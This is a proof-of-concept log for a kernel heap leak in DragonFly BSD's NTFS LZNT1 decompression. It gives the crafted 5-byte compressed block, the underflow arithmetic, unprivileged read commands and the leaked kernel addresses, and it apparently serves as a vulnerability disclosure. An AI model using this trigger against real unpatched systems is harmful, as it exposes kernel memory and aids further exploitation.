=== DF-0932 live in-kernel LZ77 underflow leak — raw leaked bytes === Setup: DragonFly 6.5-DEVELOPMENT #0 (unpatched) GENERIC kernel. NTFS image ntfs_evil.img mounted root-only with -u=1001,-g=1001 mapping so unprivileged maxx (uid 1001) can read files. Trigger: compressed file F at MFT record 32. LZNT1 block (5 B): 0x02 0x80 0x01 0xFF 0xFF header 0x8002 (compressed, len=2) tag 0x01 (first sub-token = back-reference) token 0xFFFF (LE) -> at pos=0 dshift=12 lmask=0xFFF: boff = -1 - (0xFFFF>>12) = -16 blen = 3 + (0xFFFF & 0xFFF) = 4098 -> buf[pos+boff] reads buf[-16..-1] (slab neighbour of uup) -> LZ77 sliding window propagates the 16 leaked bytes across all of buf[0..4095] -> uiomove at ntfs_subr.c:1723 ships leaked bytes to reader --- Run A (early in session, no heap warming) --- read 1: first 16 bytes = 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 (slab neighbour was a zero-filled page in this state) --- Run B (after heap-warming activity: find / -name '*.ko') --- The slab neighbour of uup becomes a populated kernel object. Repeated reads give a STABLE, identical 16-byte pattern (kernel heap): read 1: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 read 2: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 read 3: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 read 4: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 read 5: 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 These are DragonFly kernel heap addresses: LE u64 at +0: 0x00000008_00bd7000 (kernel virtual address) LE u64 at +8: 0x00000008_006a34c0 (kernel virtual address) (An earlier session showed f8 ff f9 ff fa ff fb ff fc ff fd ff fe ff ff ff, the tail of the $UpCase table that the kernel had loaded into RAM during mount — also kernel heap memory.) --- Reproducible as unprivileged user (uid 1001, maxx, NOT in wheel) --- $ id uid=1001(maxx) gid=1001(maxx) groups=1001(maxx) $ cat /mnt/evil/F | head -c 16 | od -An -tx1 00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00 === Conclusion === The bytes returned at the start of the file are KERNEL HEAP MEMORY preceding the M_NTFSDECOMP uup allocation. They are not present in the file's logical content and are not derivable from the on-disk image alone -- the kernel is leaking its own heap to userspace via the unchecked LZ77 back-reference displacement at ntfs_compr.c:82.